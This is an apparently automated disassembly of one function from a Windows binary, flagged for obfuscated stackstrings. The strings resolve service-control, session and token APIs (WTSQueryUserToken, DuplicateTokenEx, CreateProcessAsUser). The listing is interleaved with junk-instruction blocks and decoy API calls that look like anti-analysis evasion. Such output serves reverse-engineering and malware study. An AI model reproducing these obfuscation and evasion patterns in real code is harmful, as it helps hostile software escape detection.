Function at 0x402ae1
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4415fa
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x11c0
call fcn.00403560
mov eax, dword [0x44c014]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x11b4], eax
mov dword [ebp - 0x11c0], ebx
mov dword [ebp - 4], ebx
call fcn.0040d702
xor ecx, ecx
inc ecx
test eax, eax
cmovs eax, ecx
cmp eax, 0xfffffffb
jl 0x4032fc
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffdee
jge 0x402b67
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetCursorPos]
call fcn.00402963
jmp 0x403303
push esi
sbb esi, esi
xor esi, eax
xor esi, edx
sbb esi, esp
xor esi, esi
xor esi, eax
sbb esi, edx
nop
pop esi
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
movaps xmm0, xmmword [0x4422b0]
lea eax, [ebp - 0x140]
push eax
xor ebx, ebx
mov dword [ebp - 0x6c], 0x61737477
lea eax, [ebp - 0x30]
mov dword [ebp - 0x68], 0x32336970
push eax
mov dword [ebp - 0x64], 0x6c6c642e
mov byte [ebp - 0x60], bl
mov dword [ebp - 0x30], 0x6e72654b
mov dword [ebp - 0x2c], 0x32336c65
mov dword [ebp - 0x28], 0x6c6c642e
mov byte [ebp - 0x24], bl
mov dword [ebp - 0x5c], 0x61766441
mov dword [ebp - 0x58], 0x32336970
mov dword [ebp - 0x54], 0x6c6c642e
mov byte [ebp - 0x50], bl
mov dword [ebp - 0x20], 0x72657355
mov dword [ebp - 0x1c], 0x2e766e45
mov dword [ebp - 0x18], 0x6c6c64
movups xmmword [ebp - 0x140], xmm0
mov dword [ebp - 0x130], 0x64496e6f
mov byte [ebp - 0x12c], bl
call fcn.00401a05
movaps xmm0, xmmword [0x4422f0]
mov dword [0x456628], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0xcc], 0x53656c6f
push eax
movups xmmword [ebp - 0xdc], xmm0
mov dword [ebp - 0xc8], 0x69737365
mov dword [ebp - 0xc4], 0x64496e6f
mov byte [ebp - 0xc0], bl
call fcn.00401a05
movaps xmm0, xmmword [0x4422d0]
mov dword [0x45662c], eax
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x118], 0x6f6c4274
push eax
movups xmmword [ebp - 0x128], xmm0
mov word [ebp - 0x114], 0x6b63
mov byte [ebp - 0x112], bl
call fcn.00401a05
movaps xmm0, xmmword [str.RegisterServiceCCreateProcessAsUSysAllocStringLeWTSQueryUserTokeDestroyEnvironmeProcessIdToSessiStartServiceCtrlCreateEnvironmenGetForegroundWinWTSGetActiveConsSetServiceStatusDuplicateTokenEx0gE]
mov dword [0x456630], eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0xac], 0x486c7274
push eax
movups xmmword [ebp - 0xbc], xmm0
mov dword [ebp - 0xa8], 0x6c646e61
mov dword [ebp - 0xa4], 0x78457265
mov word [ebp - 0xa0], 0x41
call fcn.00401a05
mov dword [0x456634], eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x8c], 0x46535457
push eax
mov dword [ebp - 0x88], 0x4d656572
mov dword [ebp - 0x84], 0x726f6d65
mov word [ebp - 0x80], 0x79
call fcn.00401a05
movaps xmm0, xmmword [0x4422a0]
mov dword [0x456638], eax
lea eax, [ebp - 0x110]
push eax
movups xmmword [ebp - 0x110], xmm0
mov dword [ebp - 0x100], 0x6c42746e
lea eax, [ebp - 0x20]
mov dword [ebp - 0xfc], 0x6b636f
push eax
call fcn.00401a05
movaps xmm0, xmmword [0x442280]
mov dword [0x45663c], eax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 0x41656c4f
push eax
mov dword [ebp - 0x3c], 0x32337475
mov dword [ebp - 0x38], 0x6c6c642e
mov byte [ebp - 0x34], bl
movups xmmword [ebp - 0x168], xmm0
mov word [ebp - 0x158], 0x6e
call fcn.00401a05
mov dword [0x456620], eax
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0x9c], 0x46737953
push eax
mov dword [ebp - 0x98], 0x53656572
mov dword [ebp - 0x94], 0x6e697274
mov word [ebp - 0x90], 0x67
call fcn.00401a05
add esp, 0x40
mov dword [ebp - 0x11bc], eax
push eax
mov eax, 0x62e56bf2
sbb eax, esp
xor eax, esp
and eax, ebp
xor eax, edx
pop eax
call fcn.0040d702
test eax, eax
push 1
pop esi
cmovs eax, esi
xor ebx, ebx
cmp eax, 0xfffffdee
jge 0x402e05
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
call fcn.004028b7
call fcn.0040d702
test eax, eax
cmovs eax, esi
cmp eax, 0xfffffffb
jge 0x402e21
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetWindowPos]
push ecx
mov ecx, 0xf8dfc8b3
mov ecx, 0x94715031
sub ecx, ebx
sub ecx, ecx
pop ecx
xor eax, eax
inc eax
push 0x41
push eax
push 0x4566e8
call fcn.0040111a
add esp, 0xc
test eax, eax
je 0x402ec1
push 0x40
push 3
push 0x456668
call fcn.0040111a
add esp, 0xc
test eax, eax
je 0x402ec1
xor ecx, ecx
mov al, byte [ecx + 0x456668]
mov byte [ecx + 0x4566a8], al
inc ecx
test al, al
jne 0x402e5f
push ecx
mov ecx, 0x81c91460
mov ecx, 0x3674b4f6
sub ecx, ecx
pop ecx
xor eax, eax
inc eax
cmp dword [ebp + 8], eax
jle 0x403236
push eax
lea eax, [ebp - 0x1a8]
push eax
call fcn.00401613
mov ebx, dword [ebp - 0x11b4]
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402edd
call fcn.0040178a
push edi
mov edi, 0x37fac088
mov edi, 0x823cf7b5
or edi, ebp
nop
pop edi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040342f
leave
ret
lea eax, [ebp - 0x1a8]
push 2
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402f02
call fcn.004027a2
jmp 0x402ec1
lea eax, [ebp - 0x1a8]
push 3
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402f37
call fcn.00402444
push edi
mov edi, 0x15f1d0b1
sbb edi, esi
sbb edi, edx
add edi, esi
sbb edi, edx
nop
pop edi
jmp 0x402ec1
push 4
pop edi
lea eax, [ebp - 0x1a8]
push edi
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402f61
call fcn.00402716
jmp 0x402ec1
cmp dword [ebp + 8], 3
jle 0x402ec1
lea eax, [ebp - 0x1a8]
push 5
push eax
call fcn.00401613
push eax
push dword [ebx + 4]
call fcn.0040d620
add esp, 0x10
test eax, eax
jne 0x402ec1
push dword [ebx + 0xc]
call fcn.004019c5
pop ecx
xor ecx, ecx
mov dword [ebp - 0x11b8], eax
inc ecx
movzx edx, cl
xor ecx, ecx
cmp eax, 0xffffffff
cmove edx, ecx
mov dword [ebp - 0x11ac], edx
test eax, eax
je 0x402ffa
push eax
mov eax, 0xf8b67638
xor eax, eax
sbb eax, eax
xor eax, eax
xor eax, eax
sbb eax, eax
pop eax
mov edi, dword [ebp - 0x11b8]
xor esi, esi
cmp esi, 0x1e
jge 0x402feb
push 0x5dc
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call fcn.004018f7
pop ecx
test eax, eax
je 0x402feb
inc esi
jmp 0x402fcd
mov edx, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11b4]
push 4
pop edi
xor eax, eax
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x11b8], eax
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40300b
sub ecx, esi
test ecx, ecx
jle 0x402ec1
push 0x10
test dl, dl
pop eax
cmovne eax, edi
mov ecx, dword [eax + ebx]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40302a
sub ecx, edx
mov dword [ebp - 0x11b0], ecx
push eax
mov eax, 0x92b0d0f2
xor eax, esp
sbb eax, eax
pop eax
mov esi, dword [ebp - 0x11b0]
test esi, esi
jle 0x402ec1
cmp byte [ebp - 0x11ac], 0
je 0x4030ac
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x1a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x403098
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x1a8]
jmp 0x403106
push esi
mov esi, 0xaa0a6bce
sbb esi, esp
xor esi, esp
xor esi, esp
sbb esi, esp
pop esi
jmp 0x402ec1
mov eax, dword [ebp - 0x11b4]
lea edx, [ebp - 0x11a8]
mov ecx, dword [eax + 0x10]
sub edx, ecx
mov al, byte [ecx]
mov byte [ecx + edx], al
inc ecx
test al, al
jne 0x4030bd
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x11a8]
xor ebx, ebx
push ebx
push ebx
push esi
push eax
push ebx
push ebx
call edi
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x403223
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11ac], eax
push eax
lea eax, [ebp - 0x11a8]
push esi
push eax
push ebx
push ebx
call edi
push esi
mov esi, 0x2ba11a94
mov esi, 0xf865d344
nop
pop esi
mov esi, dword [ebp - 0x11b4]
mov edi, dword [esi + 8]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x403125
xor ebx, ebx
sub edi, ecx
push ebx
push ebx
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0x11b0], eax
test eax, eax
jle 0x4031ce
push eax
push ebx
call dword [0x456620]
push dword [ebp - 0x11b0]
mov dword [ebp - 0x11b8], eax
push eax
push edi
push dword [esi + 8]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movaps xmm0, xmmword [0x4422e0]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x4c], 0x72657355
push eax
mov dword [ebp - 0x48], 0x642e3233
mov word [ebp - 0x44], 0x6c6c
mov byte [ebp - 0x42], bl
movups xmmword [ebp - 0x154], xmm0
mov dword [ebp - 0x144], 0x776f64
call fcn.00401a05
pop ecx
pop ecx
call eax
push dword [ebp - 0x11ac]
mov ecx, eax
mov eax, dword [ebp - 0x11b8]
push eax
push ecx
call fcn.00401d78
add esp, 0xc
mov dword [ebp - 0x11c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 0x11bc], ebx
je 0x403208
push eax
mov eax, 0xe4b99069
xor eax, eax
add eax, esp
nop
pop eax
mov eax, dword [ebp - 0x11ac]
mov ebx, dword [ebp - 0x11bc]
test eax, eax
je 0x4031fb
push eax
call ebx
mov eax, dword [ebp - 0x11b8]
test eax, eax
je 0x403208
push eax
call ebx
push ebx
sbb ebx, esi
xor ebx, esi
xor ebx, esi
sbb ebx, esi
xor ebx, esi
xor ebx, esi
or ebx, edi
pop ebx
mov eax, dword [ebp - 0x11c0]
jmp 0x402ec3
push ebx
add ebx, esi
sbb ebx, edx
sbb ebx, esi
add ebx, edx
sbb ebx, esi
sbb ebx, edx
pop ebx
jmp 0x402ec1
xor ebx, ebx
mov dword [ebp - 0x11d0], 0x456668
mov dword [ebp - 0x11cc], 0x402616
mov dword [ebp - 0x11c8], ebx
mov dword [ebp - 0x11c4], ebx
call fcn.0040d702
test eax, eax
push 1
pop ecx
cmovs eax, ecx
cmp eax, 0xfffffdee
jge 0x403279
push ebx
push ebx
call dword [sym.imp.USER32.dll_SetLastErrorEx]
jmp 0x403303
push ebx
mov ebx, 0xa8425dfa
mov ebx, 0xc656e77b
xor ebx, edx
nop
pop ebx
movaps xmm0, xmmword [0x4422c0]
xor eax, eax
mov byte [ebp - 0x70], al
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x61766441
push eax
mov dword [ebp - 0x78], 0x32336970
mov dword [ebp - 0x74], 0x6c6c642e
movups xmmword [ebp - 0xf8], xmm0
mov dword [ebp - 0xe8], 0x70736944
mov dword [ebp - 0xe4], 0x68637461
mov dword [ebp - 0xe0], 0x417265
call fcn.00401a05
pop ecx
pop ecx
test eax, eax
je 0x402ec1
lea ecx, [ebp - 0x11d0]
push ecx
call eax
jmp 0x402ec1
push ebx
call dword [sym.imp.USER32.dll_GetDC]
call fcn.00402865
int3